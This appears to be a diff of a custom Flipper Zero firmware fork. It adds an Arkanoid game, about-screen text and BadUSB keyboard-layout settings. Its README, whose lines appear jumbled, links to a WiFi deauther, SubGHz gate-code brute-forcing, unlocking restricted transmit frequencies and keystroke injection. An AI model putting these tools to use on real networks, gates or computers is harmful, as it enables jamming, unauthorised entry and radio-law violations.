- Tetris (with fixes) [(by jeffplang)](https://github.com/jeffplang/flipperzero-firmware/tree/tetris_game/applications/tetris_game)
- Spectrum Analyzer (with changes) [(by jolcese)](https://github.com/jolcese/flipperzero-firmware/tree/spectrum/applications/spectrum_analyzer) - [Ultra Narrow mode & scan channels non-consecutively](https://github.com/theY4Kman/flipperzero-firmware/commits?author=theY4Kman)
- Arkanoid (with fixes) [(by gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins)
- Tic Tac Toe (with fixes) [(by gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins)
`./fbt updater_package`
### Other changes
To update, copy the resulting directory to Flipper's SD card and navigate to `update.fuf` file in Archive app.
- BadUSB Keyboard layouts [(by rien > dummy-decoy)](https://github.com/dummy-decoy/flipperzero-firmware/tree/dummy_decoy/bad_usb_keyboard_layout)
- New frequency analyzer - [(by ClusterM)](https://github.com/ClusterM)
## With STLink
## Support us so we can buy equipment and develop new features
* ETH/BSC/ERC20-Tokens: `0xFebF1bBc8229418FF2408C07AF6Afa49152fEc6a`
* BTC: `bc1q0np836jk9jwr4dd7p6qv66d04vamtqkxrecck9`
* DOGE: `D6R6gYgBn5LwTNmPyvAQR6bZ9EtGgFCpvv`
* LTC: `ltc1q3ex4ejkl0xpx3znwrmth4lyuadr5qgv8tmq8z9`
### Core1 Firmware
**Big thanks to all sponsors!**
Prerequisites:
# Instructions
## [- How to install firmware](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/HowToInstall.md)
- Linux / macOS
- Terminal
- [arm-gcc-none-eabi](https://developer.arm.com/tools-and-software/open-source-software/developer-tools/gnu-toolchain/gnu-rm/downloads)
- openocd
## [- How to build firmware](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/HowToBuild.md)
One liner: `./fbt firmware_flash`
## [- BadUSB: how to add new keyboard layouts](https://github.com/dummy-decoy/flipperzero_badusb_kl)
## With USB DFU
### **Plugins**
1. Download latest [Firmware](https://update.flipperzero.one)
## [- Configure UniversalRF Remix App](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/UniRFRemix.md)
2. Reboot Flipper to Bootloader
- Press and hold `← Left` + `↩ Back` for reset
- Release `↩ Back` and keep holding `← Left` until blue LED lights up
- Release `← Left`
## [- Barcode Generator](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/BarcodeGenerator.md)
3. Run `dfu-util -D full.dfu -a 0`
## [- WAV Player sample files & how to convert](https://github.com/UberGuidoZ/Flipper/tree/main/Wav_Player#readme)
# Build with Docker
### **Plugins that works with external hardware**
## Prerequisites
## [- How to use: [NRF24] plugins](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/NRF24.md)
1. Install [Docker Engine and Docker Compose](https://www.docker.com/get-started)
2. Prepare the container:
## [- How to use: [WiFi] Scanner](https://github.com/SequoiaSan/FlipperZero-WiFi-Scanner_Module#readme)
```sh
docker-compose up -d
```
## [- How to use: [ESP8266] Deauther](https://github.com/SequoiaSan/FlipperZero-Wifi-ESP8266-Deauther-Module#readme)
## Compile everything
## [- How to use: [ESP32] WiFi Marauder](https://github.com/UberGuidoZ/Flipper/tree/main/Wifi_DevBoard)
```sh
docker-compose exec dev ./fbt
```
## [- [WiFi] Scanner - Web Flasher for module firmware](https://sequoiasan.github.io/FlipperZero-WiFi-Scanner_Module/)
Check `dist/` for build outputs.
## [- [ESP8266] Deauther - Web Flasher for module firmware](https://sequoiasan.github.io/FlipperZero-Wifi-ESP8266-Deauther-Module/)
Use **`flipper-z-{target}-full-{suffix}.dfu`** to flash your device.
## [- Windows: How to Upload .bin to ESP32/ESP8266](https://github.com/SequoiaSan/Guide-How-To-Upload-bin-to-ESP8266-ESP32)
If compilation fails, make sure all submodules are all initialized. Either clone with `--recursive` or use `git submodule update --init --recursive`.
## [- How to use: [GPIO] SentrySafe plugin](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/SentrySafe.md)
# Build on Linux/macOS
### **SubGHz**
Check out `documentation/fbt.md` for details on building and flashing firmware.
## [- Transmission is blocked? - How to extend SubGHz frequency range](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/DangerousSettings.md)
## macOS Prerequisites
## [- How to add extra SubGHz frequencies](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/SubGHzSettings.md)
Make sure you have [brew](https://brew.sh) and install all the dependencies:
```sh
brew bundle --verbose
```
<br>
<br>
## Linux Prerequisites
# Where I can find IR, SubGhz, ... files, DBs, and other stuff?
## [Awesome Flipper Zero - Github](https://github.com/djsime1/awesome-flipperzero)
## [UberGuidoZ Playground - Large collection of files - Github](https://github.com/UberGuidoZ/Flipper)
## [CAME, NICE, PT-2240, PT-2262 - SubGHz fixed code bruteforce](https://github.com/tobiabocchi/flipperzero-bruteforce)
### gcc-arm-none-eabi
```sh
toolchain="gcc-arm-none-eabi-10.3-2021.10"
toolchain_package="$toolchain-$(uname -m)-linux"
wget -P /opt "https://developer.arm.com/-/media/Files/downloads/gnu-rm/10.3-2021.10/$toolchain_package.tar.bz2"
tar xjf /opt/$toolchain_package.tar.bz2 -C /opt
rm /opt/$toolchain_package.tar.bz2
for file in /opt/$toolchain/bin/* ; do ln -s "${file}" "/usr/bin/$(basename ${file})" ; done
```
### Optional dependencies
- openocd (debugging/flashing over SWD)
- heatshrink (compiling image assets)
- clang-format (code formatting)
- dfu-util (flashing over USB DFU)
- protobuf (compiling proto sources)
For example, to install them on Debian, use:
```sh
apt update
apt install openocd clang-format-13 dfu-util protobuf-compiler
```
heatshrink has to be compiled [from sources](https://github.com/atomicobject/heatshrink).
## Compile everything
```sh
./fbt
```
Check `dist/` for build outputs.
Use **`flipper-z-{target}-full-{suffix}.dfu`** to flash your device.
## Flash everything
Connect your device via ST-Link and run:
```sh
./fbt firmware_flash
```
<br>
<br>
# Links
* Discord: [flipp.dev/discord](https://flipp.dev/discord)
* Website: [flipperzero.one](https://flipperzero.one)
* Kickstarter page: [kickstarter.com](https://www.kickstarter.com/projects/flipper-devices/flipper-zero-tamagochi-for-hackers)
* Forum: [forum.flipperzero.one](https://forum.flipperzero.one/)
* Unofficial Discord: [discord.gg/58D6E8BtTU](https://discord.gg/58D6E8BtTU)
* Docs by atmanos / How to write your own app (outdated API): [https://flipper.atmanos.com/docs/overview/intro](https://flipper.atmanos.com/docs/overview/intro)
* Official Docs: [http://docs.flipperzero.one](http://docs.flipperzero.one)
* Official Forum: [forum.flipperzero.one](https://forum.flipperzero.one/)
# Project structure
@ -161,6 +145,7 @@ Connect your device via ST-Link and run:
- `documentation` - Documentation generation system configs and input files
- `firmware` - Firmware source code
- `lib` - Our and 3rd party libraries, drivers and etc...
- `site_scons` - Build helpers
- `scripts` - Supplementary scripts and python libraries home
Also pay attention to `ReadMe.md` files inside of those directories.

View file

@ -1,51 +0,0 @@
# RoadMap
# Where we are (0.x.x branch)
Our goal for 0.x.x branch is to build stable usable apps and API.
First public release that we support in this branch is 0.43.1. Your device most likely came with this version.
You can develop applications but keep in mind that API is not final yet.
## What's already implemented
**Applications**
- SubGhz: all most common protocols, reading RAW for everything else
- 125kHz RFID: all most common protocols
- NFC: reading/emulating Mifare Ultralight, reading MiFare Classic and DESFire, basic EMV, basic NFC-B,F,V
- Infrared: all most common RC protocols, RAW format for everything else
- GPIO: UART bridge, basic GPIO controls
- iButton: DS1990, Cyfral, Metacom
- Bad USB: Full USB Rubber Ducky support, some extras for windows alt codes
- U2F: Full U2F specification support
**Extras**
- BLE Keyboard
- Snake game
**System and HAL**
- Furi Core
- Furi HAL
# Where we're going (Version 1)
Main goal for 1.0.0 is to provide first stable version for both Users and Developers.
## What we're planning to implement in 1.0.0
- Loading applications from SD (tested as PoC, work scheduled for Q2)
- More protocols (gathering feedback)
- User documentation (work in progress)
- FuriCore: get rid of CMSIS API, replace hard real time timers, improve stability and performance (work in progress)
- FuriHal: deep sleep mode, stable API, examples, documentation (work in progress)
- Application improvements (a ton of things that we want to add and improve that are too numerous to list here)
## When will it happen and where I can see the progress?
Release 1.0.0 will most likely happen around the end of Q3
Development progress can be tracked in our public Miro board:
https://miro.com/app/board/uXjVO_3D6xU=/?moveToWidget=3458764522498020058&cot=14

View file

@ -55,6 +55,37 @@ static DialogMessageButton compliance_screen(DialogsApp* dialogs, DialogMessage*
return result;
}
static DialogMessageButton unleashed_info_screen(DialogsApp* dialogs, DialogMessage* message) {
DialogMessageButton result;
const char* screen_header = "Unleashed Firmware\n";
const char* screen_text = "Play with caution.\n"
"Not for illegal use!";
dialog_message_set_header(message, screen_header, 0, 0, AlignLeft, AlignTop);
dialog_message_set_text(message, screen_text, 0, 26, AlignLeft, AlignTop);
result = dialog_message_show(dialogs, message);
dialog_message_set_header(message, NULL, 0, 0, AlignLeft, AlignTop);
dialog_message_set_text(message, NULL, 0, 0, AlignLeft, AlignTop);
return result;
}
static DialogMessageButton unleashed_info_screen2(DialogsApp* dialogs, DialogMessage* message) {
DialogMessageButton result;
const char* screen_text = "Custom plugins included\n"
"For updates & info visit\n"
"github.com/Eng1n33r";
dialog_message_set_text(message, screen_text, 0, 0, AlignLeft, AlignTop);
result = dialog_message_show(dialogs, message);
dialog_message_set_text(message, NULL, 0, 0, AlignLeft, AlignTop);
return result;
}
static DialogMessageButton icon1_screen(DialogsApp* dialogs, DialogMessage* message) {
DialogMessageButton result;
@ -144,6 +175,8 @@ static DialogMessageButton fw_version_screen(DialogsApp* dialogs, DialogMessage*
}
const AboutDialogScreen about_screens[] = {
unleashed_info_screen,
unleashed_info_screen2,
product_screen,
compliance_screen,
address_screen,

View file

@ -42,6 +42,12 @@ extern const size_t FLIPPER_ON_SYSTEM_START_COUNT;
extern const FlipperApplication FLIPPER_PLUGINS[];
extern const size_t FLIPPER_PLUGINS_COUNT;
/* Games list
* Spawned by loader
*/
extern const FlipperApplication FLIPPER_GAMES[];
extern const size_t FLIPPER_GAMES_COUNT;
/* Debug menu apps
* Spawned by loader
*/

View file

@ -0,0 +1,10 @@
App(
appid="arkanoid_game",
name="Arkanoid",
apptype=FlipperAppType.GAME,
entry_point="arkanoid_game_app",
cdefines=["APP_ARKANOID_GAME"],
requires=["gui"],
stack_size=4 * 1024,
order=30,
)

View file

@ -0,0 +1,456 @@
#include <furi.h>
#include <gui/gui.h>
#include <input/input.h>
#include <stdlib.h>
#include <gui/view.h>
#include <notification/notification.h>
#include <notification/notification_messages.h>
#define TAG "Arkanoid"
#define FLIPPER_LCD_WIDTH 128
#define FLIPPER_LCD_HEIGHT 64
typedef enum { EventTypeTick, EventTypeKey } EventType;
typedef struct {
//Brick Bounds used in collision detection
int leftBrick;
int rightBrick;
int topBrick;
int bottomBrick;
bool isHit[4][13]; //Array of if bricks are hit or not
} BrickState;
typedef struct {
int dx; //Initial movement of ball
int dy; //Initial movement of ball
int xb; //Balls starting possition
int yb; //Balls starting possition
bool released; //If the ball has been released by the player
//Ball Bounds used in collision detection
int leftBall;
int rightBall;
int topBall;
int bottomBall;
} BallState;
typedef struct {
BallState ball_state;
BrickState brick_state;
NotificationApp* notify;
unsigned int COLUMNS; //Columns of bricks
unsigned int ROWS; //Rows of bricks
bool initialDraw; //If the inital draw has happened
int xPaddle; //X position of paddle
char text[16]; //General string buffer
bool bounced; //Used to fix double bounce glitch
int lives; //Amount of lives
int level; //Current level
unsigned int score; //Score for the game
unsigned int brickCount; //Amount of bricks hit
int tick; //Tick counter
} ArkanoidState;
typedef struct {
EventType type;
InputEvent input;
} GameEvent;
static const NotificationSequence sequence_short_sound = {
&message_note_c5,
&message_delay_50,
&message_sound_off,
NULL,
};
// generate number in range [min,max)
int rand_range(int min, int max) {
int number = min + rand() % (max - min);
return number;
}
void move_ball(Canvas* canvas, ArkanoidState* st) {
st->tick++;
if(st->ball_state.released) {
//Move ball
if(abs(st->ball_state.dx) == 2) {
st->ball_state.xb += st->ball_state.dx / 2;
// 2x speed is really 1.5 speed
if(st->tick % 2 == 0) st->ball_state.xb += st->ball_state.dx / 2;
} else {
st->ball_state.xb += st->ball_state.dx;
}
st->ball_state.yb = st->ball_state.yb + st->ball_state.dy;
//Set bounds
st->ball_state.leftBall = st->ball_state.xb;
st->ball_state.rightBall = st->ball_state.xb + 2;
st->ball_state.topBall = st->ball_state.yb;
st->ball_state.bottomBall = st->ball_state.yb + 2;
//Bounce off top edge
if(st->ball_state.yb <= 0) {
st->ball_state.yb = 2;
st->ball_state.dy = -st->ball_state.dy;
}
//Lose a life if bottom edge hit
if(st->ball_state.yb >= FLIPPER_LCD_HEIGHT) {
canvas_draw_frame(canvas, st->xPaddle, FLIPPER_LCD_HEIGHT - 1, 11, 1);
st->xPaddle = 54;
st->ball_state.yb = 60;
st->ball_state.released = false;
st->lives--;
if(rand_range(0, 2) == 0) {
st->ball_state.dx = 1;
} else {
st->ball_state.dx = -1;
}
}
//Bounce off left side
if(st->ball_state.xb <= 0) {
st->ball_state.xb = 2;
st->ball_state.dx = -st->ball_state.dx;
}
//Bounce off right side
if(st->ball_state.xb >= FLIPPER_LCD_WIDTH - 2) {
st->ball_state.xb = FLIPPER_LCD_WIDTH - 4;
st->ball_state.dx = -st->ball_state.dx;
// arduboy.tunes.tone(523, 250);
}
//Bounce off paddle
if(st->ball_state.xb + 1 >= st->xPaddle && st->ball_state.xb <= st->xPaddle + 12 &&
st->ball_state.yb + 2 >= FLIPPER_LCD_HEIGHT - 1 &&
st->ball_state.yb <= FLIPPER_LCD_HEIGHT) {
st->ball_state.dy = -st->ball_state.dy;
st->ball_state.dx =
((st->ball_state.xb - (st->xPaddle + 6)) / 3); //Applies spin on the ball
// prevent straight bounce, but not prevent roguuemaster from stealing
if(st->ball_state.dx == 0) {
st->ball_state.dx = (rand_range(0, 2) == 1) ? 1 : -1;
}
}
//Bounce off Bricks
for(unsigned int row = 0; row < st->ROWS; row++) {
for(unsigned int column = 0; column < st->COLUMNS; column++) {
if(!st->brick_state.isHit[row][column]) {
//Sets Brick bounds
st->brick_state.leftBrick = 10 * column;
st->brick_state.rightBrick = 10 * column + 10;
st->brick_state.topBrick = 6 * row + 1;
st->brick_state.bottomBrick = 6 * row + 7;
//If A collison has occured
if(st->ball_state.topBall <= st->brick_state.bottomBrick &&
st->ball_state.bottomBall >= st->brick_state.topBrick &&
st->ball_state.leftBall <= st->brick_state.rightBrick &&
st->ball_state.rightBall >= st->brick_state.leftBrick) {
st->score += st->level;
// Blink led when we hit some brick
notification_message(st->notify, &sequence_short_sound);
//notification_message(st->notify, &sequence_blink_white_100);
st->brickCount++;
st->brick_state.isHit[row][column] = true;
canvas_draw_frame(canvas, 10 * column, 2 + 6 * row, 8, 4);
//Vertical collision
if(st->ball_state.bottomBall > st->brick_state.bottomBrick ||
st->ball_state.topBall < st->brick_state.topBrick) {
//Only bounce once each ball move
if(!st->bounced) {
st->ball_state.dy = -st->ball_state.dy;
st->ball_state.yb += st->ball_state.dy;
st->bounced = true;
}
}
//Hoizontal collision
if(st->ball_state.leftBall < st->brick_state.leftBrick ||
st->ball_state.rightBall > st->brick_state.rightBrick) {
//Only bounce once brick each ball move
if(!st->bounced) {
st->ball_state.dx = -st->ball_state.dx;
st->ball_state.xb += st->ball_state.dx;
st->bounced = true;
}
}
}
}
}
}
//Reset Bounce
st->bounced = false;
} else {
//Ball follows paddle
st->ball_state.xb = st->xPaddle + 5;
}
}
void draw_lives(Canvas* canvas, ArkanoidState* arkanoid_state) {
if(arkanoid_state->lives == 3) {
canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 7);
canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 7);
canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 8);
canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 8);
canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 11);
canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 11);
canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 12);
canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 12);
canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 15);
canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 15);
canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 16);
canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 16);
} else if(arkanoid_state->lives == 2) {
canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 7);
canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 7);
canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 8);
canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 8);
canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 11);
canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 11);
canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 12);
canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 12);
} else {
canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 7);
canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 7);
canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 8);
canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 8);
}
}
void draw_score(Canvas* canvas, ArkanoidState* arkanoid_state) {
snprintf(arkanoid_state->text, sizeof(arkanoid_state->text), "%u", arkanoid_state->score);
canvas_draw_str_aligned(
canvas,
FLIPPER_LCD_WIDTH - 2,
FLIPPER_LCD_HEIGHT - 6,
AlignRight,
AlignBottom,
arkanoid_state->text);
}
void draw_ball(Canvas* canvas, ArkanoidState* ast) {
canvas_draw_dot(canvas, ast->ball_state.xb, ast->ball_state.yb);
canvas_draw_dot(canvas, ast->ball_state.xb + 1, ast->ball_state.yb);
canvas_draw_dot(canvas, ast->ball_state.xb, ast->ball_state.yb + 1);
canvas_draw_dot(canvas, ast->ball_state.xb + 1, ast->ball_state.yb + 1);
move_ball(canvas, ast);
}
void draw_paddle(Canvas* canvas, ArkanoidState* arkanoid_state) {
canvas_draw_frame(canvas, arkanoid_state->xPaddle, FLIPPER_LCD_HEIGHT - 1, 11, 1);
}
void reset_level(Canvas* canvas, ArkanoidState* arkanoid_state) {
//Undraw paddle
canvas_draw_frame(canvas, arkanoid_state->xPaddle, FLIPPER_LCD_HEIGHT - 1, 11, 1);
//Undraw ball
canvas_draw_dot(canvas, arkanoid_state->ball_state.xb, arkanoid_state->ball_state.yb);
canvas_draw_dot(canvas, arkanoid_state->ball_state.xb + 1, arkanoid_state->ball_state.yb);
canvas_draw_dot(canvas, arkanoid_state->ball_state.xb, arkanoid_state->ball_state.yb + 1);
canvas_draw_dot(canvas, arkanoid_state->ball_state.xb + 1, arkanoid_state->ball_state.yb + 1);
//Alter various variables to reset the game
arkanoid_state->xPaddle = 54;
arkanoid_state->ball_state.yb = 60;
arkanoid_state->brickCount = 0;
arkanoid_state->ball_state.released = false;
// Reset all brick hit states
for(unsigned int row = 0; row < arkanoid_state->ROWS; row++) {
for(unsigned int column = 0; column < arkanoid_state->COLUMNS; column++) {
arkanoid_state->brick_state.isHit[row][column] = false;
}
}
}
static void arkanoid_state_init(ArkanoidState* arkanoid_state) {
// Init notification
arkanoid_state->notify = furi_record_open(RECORD_NOTIFICATION);
// Set the initial game state
arkanoid_state->COLUMNS = 13;
arkanoid_state->ROWS = 4;
arkanoid_state->ball_state.dx = -1;
arkanoid_state->ball_state.dy = -1;
arkanoid_state->bounced = false;
arkanoid_state->lives = 3;
arkanoid_state->level = 1;
arkanoid_state->score = 0;
arkanoid_state->COLUMNS = 13;
arkanoid_state->COLUMNS = 13;
// Reset initial state
arkanoid_state->initialDraw = false;
}
static void arkanoid_draw_callback(Canvas* const canvas, void* ctx) {
ArkanoidState* arkanoid_state = acquire_mutex((ValueMutex*)ctx, 25);
if(arkanoid_state == NULL) {
return;
}
//Initial level draw
if(!arkanoid_state->initialDraw) {
arkanoid_state->initialDraw = true;
// Set default font for text
canvas_set_font(canvas, FontSecondary);
//Draws the new level
reset_level(canvas, arkanoid_state);
}
//Draws new bricks and resets their values
for(unsigned int row = 0; row < arkanoid_state->ROWS; row++) {
for(unsigned int column = 0; column < arkanoid_state->COLUMNS; column++) {
if(!arkanoid_state->brick_state.isHit[row][column]) {
canvas_draw_frame(canvas, 10 * column, 2 + 6 * row, 8, 4);
}
}
}
if(arkanoid_state->lives > 0) {
draw_paddle(canvas, arkanoid_state);
draw_ball(canvas, arkanoid_state);
draw_score(canvas, arkanoid_state);
draw_lives(canvas, arkanoid_state);
if(arkanoid_state->brickCount == arkanoid_state->ROWS * arkanoid_state->COLUMNS) {
arkanoid_state->level++;
reset_level(canvas, arkanoid_state);
}
} else {
reset_level(canvas, arkanoid_state);
arkanoid_state->initialDraw = false;
arkanoid_state->lives = 3;
arkanoid_state->score = 0;
}
release_mutex((ValueMutex*)ctx, arkanoid_state);
}
static void arkanoid_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
furi_assert(event_queue);
GameEvent event = {.type = EventTypeKey, .input = *input_event};
furi_message_queue_put(event_queue, &event, FuriWaitForever);
}
static void arkanoid_update_timer_callback(FuriMessageQueue* event_queue) {
furi_assert(event_queue);
GameEvent event = {.type = EventTypeTick};
furi_message_queue_put(event_queue, &event, 0);
}
int32_t arkanoid_game_app(void* p) {
UNUSED(p);
int32_t return_code = 0;
// Set random seed from interrupts
srand(DWT->CYCCNT);
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(GameEvent));
ArkanoidState* arkanoid_state = malloc(sizeof(ArkanoidState));
arkanoid_state_init(arkanoid_state);
ValueMutex state_mutex;
if(!init_mutex(&state_mutex, arkanoid_state, sizeof(ArkanoidState))) {
FURI_LOG_E(TAG, "Cannot create mutex\r\n");
return_code = 255;
goto free_and_exit;
}
// Set system callbacks
ViewPort* view_port = view_port_alloc();
view_port_draw_callback_set(view_port, arkanoid_draw_callback, &state_mutex);
view_port_input_callback_set(view_port, arkanoid_input_callback, event_queue);
FuriTimer* timer =
furi_timer_alloc(arkanoid_update_timer_callback, FuriTimerTypePeriodic, event_queue);
furi_timer_start(timer, furi_kernel_get_tick_frequency() / 22);
// Open GUI and register view_port
Gui* gui = furi_record_open(RECORD_GUI);
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
GameEvent event;
for(bool processing = true; processing;) {
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
ArkanoidState* arkanoid_state = (ArkanoidState*)acquire_mutex_block(&state_mutex);
if(event_status == FuriStatusOk) {
// Key events
if(event.type == EventTypeKey) {
if(event.input.type == InputTypePress || event.input.type == InputTypeLong ||
event.input.type == InputTypeRepeat) {
switch(event.input.key) {
case InputKeyBack:
processing = false;
break;
case InputKeyRight:
if(arkanoid_state->xPaddle < FLIPPER_LCD_WIDTH - 12) {
arkanoid_state->xPaddle += 8;
}
break;
case InputKeyLeft:
if(arkanoid_state->xPaddle > 0) {
arkanoid_state->xPaddle -= 8;
}
break;
case InputKeyUp:
break;
case InputKeyDown:
break;
case InputKeyOk:
//Release ball if FIRE pressed
arkanoid_state->ball_state.released = true;
//Apply random direction to ball on release
if(rand_range(0, 2) == 0) {
arkanoid_state->ball_state.dx = 1;
} else {
arkanoid_state->ball_state.dx = -1;
}
//Makes sure the ball heads upwards
arkanoid_state->ball_state.dy = -1;
break;
}
}
}
} else {
// Event timeout
FURI_LOG_D(TAG, "furi_message_queue: Event timeout");
}
view_port_update(view_port);
release_mutex(&state_mutex, arkanoid_state);
}
furi_timer_free(timer);
view_port_enabled_set(view_port, false);
gui_remove_view_port(gui, view_port);
furi_record_close(RECORD_GUI);
furi_record_close(RECORD_NOTIFICATION);
view_port_free(view_port);
delete_mutex(&state_mutex);
free_and_exit:
free(arkanoid_state);
furi_message_queue_free(event_queue);
return return_code;
}

View file

@ -1,10 +1,13 @@
#include "bad_usb_app_i.h"
#include "bad_usb_settings_filename.h"
#include "m-string.h"
#include <furi.h>
#include <furi_hal.h>
#include <storage/storage.h>
#include <lib/toolbox/path.h>
#define BAD_USB_SETTINGS_PATH BAD_USB_APP_BASE_FOLDER "/" BAD_USB_SETTINGS_FILE_NAME
static bool bad_usb_app_custom_event_callback(void* context, uint32_t event) {
furi_assert(context);
BadUsbApp* app = context;
@ -23,15 +26,45 @@ static void bad_usb_app_tick_event_callback(void* context) {
scene_manager_handle_tick_event(app->scene_manager);
}
static void bad_usb_load_settings(BadUsbApp* app) {
File* settings_file = storage_file_alloc(furi_record_open(RECORD_STORAGE));
if(storage_file_open(settings_file, BAD_USB_SETTINGS_PATH, FSAM_READ, FSOM_OPEN_EXISTING)) {
char chr;
while((storage_file_read(settings_file, &chr, 1) == 1) &&
!storage_file_eof(settings_file) && !isspace(chr)) {
string_push_back(app->keyboard_layout, chr);
}
}
storage_file_close(settings_file);
storage_file_free(settings_file);
}
static void bad_usb_save_settings(BadUsbApp* app) {
File* settings_file = storage_file_alloc(furi_record_open(RECORD_STORAGE));
if(storage_file_open(settings_file, BAD_USB_SETTINGS_PATH, FSAM_WRITE, FSOM_OPEN_ALWAYS)) {
storage_file_write(
settings_file,
string_get_cstr(app->keyboard_layout),
string_size(app->keyboard_layout));
storage_file_write(settings_file, "\n", 1);
}
storage_file_close(settings_file);
storage_file_free(settings_file);
}
BadUsbApp* bad_usb_app_alloc(char* arg) {
BadUsbApp* app = malloc(sizeof(BadUsbApp));
string_init(app->file_path);
app->bad_usb_script = NULL;
string_init(app->file_path);
string_init(app->keyboard_layout);
if(arg && strlen(arg)) {
string_set_str(app->file_path, arg);
}
bad_usb_load_settings(app);
app->gui = furi_record_open(RECORD_GUI);
app->notifications = furi_record_open(RECORD_NOTIFICATION);
app->dialogs = furi_record_open(RECORD_DIALOGS);
@ -54,6 +87,10 @@ BadUsbApp* bad_usb_app_alloc(char* arg) {
view_dispatcher_add_view(
app->view_dispatcher, BadUsbAppViewError, widget_get_view(app->widget));
app->submenu = submenu_alloc();
view_dispatcher_add_view(
app->view_dispatcher, BadUsbAppViewConfig, submenu_get_view(app->submenu));
app->bad_usb_view = bad_usb_alloc();
view_dispatcher_add_view(
app->view_dispatcher, BadUsbAppViewWork, bad_usb_get_view(app->bad_usb_view));
@ -65,9 +102,9 @@ BadUsbApp* bad_usb_app_alloc(char* arg) {
scene_manager_next_scene(app->scene_manager, BadUsbSceneError);
} else {
if(!string_empty_p(app->file_path)) {
scene_manager_next_scene(app->scene_manager, BadUsbSceneWork);
scene_manager_next_scene(app->scene_manager, BadUsbScenePWork);
} else {
string_set_str(app->file_path, BAD_USB_APP_PATH_FOLDER);
string_set_str(app->file_path, BAD_USB_APP_BASE_FOLDER);
scene_manager_next_scene(app->scene_manager, BadUsbSceneFileSelect);
}
}
@ -78,14 +115,24 @@ BadUsbApp* bad_usb_app_alloc(char* arg) {
void bad_usb_app_free(BadUsbApp* app) {
furi_assert(app);
if(app->bad_usb_script) {
bad_usb_script_close(app->bad_usb_script);
app->bad_usb_script = NULL;
}
// Views
view_dispatcher_remove_view(app->view_dispatcher, BadUsbAppViewWork);
bad_usb_free(app->bad_usb_view);
// Custom Widget
view_dispatcher_remove_view(app->view_dispatcher, BadUsbAppViewError);
widget_free(app->widget);
// Submenu
view_dispatcher_remove_view(app->view_dispatcher, BadUsbAppViewConfig);
submenu_free(app->submenu);
// View dispatcher
view_dispatcher_free(app->view_dispatcher);
scene_manager_free(app->scene_manager);
@ -95,7 +142,10 @@ void bad_usb_app_free(BadUsbApp* app) {
furi_record_close(RECORD_NOTIFICATION);
furi_record_close(RECORD_DIALOGS);
bad_usb_save_settings(app);
string_clear(app->file_path);
string_clear(app->keyboard_layout);
free(app);
}

View file

@ -14,8 +14,10 @@
#include <gui/modules/widget.h>
#include "views/bad_usb_view.h"
#define BAD_USB_APP_PATH_FOLDER ANY_PATH("badusb")
#define BAD_USB_APP_EXTENSION ".txt"
#define BAD_USB_APP_BASE_FOLDER ANY_PATH("badusb")
#define BAD_USB_APP_PATH_LAYOUT_FOLDER BAD_USB_APP_BASE_FOLDER "/layouts"
#define BAD_USB_APP_SCRIPT_EXTENSION ".txt"
#define BAD_USB_APP_LAYOUT_EXTENSION ".kl"
typedef enum {
BadUsbAppErrorNoFiles,
@ -29,9 +31,11 @@ struct BadUsbApp {
NotificationApp* notifications;
DialogsApp* dialogs;
Widget* widget;
Submenu* submenu;
BadUsbAppError error;
string_t file_path;
string_t keyboard_layout;
BadUsb* bad_usb_view;
BadUsbScript* bad_usb_script;
};
@ -39,4 +43,5 @@ struct BadUsbApp {
typedef enum {
BadUsbAppViewError,
BadUsbAppViewWork,
BadUsbAppViewConfig,
} BadUsbAppView;

View file

@ -16,6 +16,9 @@
#define SCRIPT_STATE_END (-2)
#define SCRIPT_STATE_NEXT_LINE (-3)
#define BADUSB_ASCII_TO_KEY(script, x) \
(((uint8_t)x < 128) ? (script->layout[(uint8_t)x]) : HID_KEYBOARD_NONE)
typedef enum {
WorkerEvtToggle = (1 << 0),
WorkerEvtEnd = (1 << 1),
@ -28,6 +31,7 @@ struct BadUsbScript {
BadUsbState st;
string_t file_path;
uint32_t defdelay;
uint16_t layout[128];
FuriThread* thread;
uint8_t file_buf[FILE_BUFFER_LEN + 1];
uint8_t buf_start;
@ -114,6 +118,8 @@ static const char ducky_cmd_altchar[] = {"ALTCHAR "};
static const char ducky_cmd_altstr_1[] = {"ALTSTRING "};
static const char ducky_cmd_altstr_2[] = {"ALTCODE "};
static const char ducky_cmd_lang[] = {"DUCKY_LANG"};
static const uint8_t numpad_keys[10] = {
HID_KEYPAD_0,
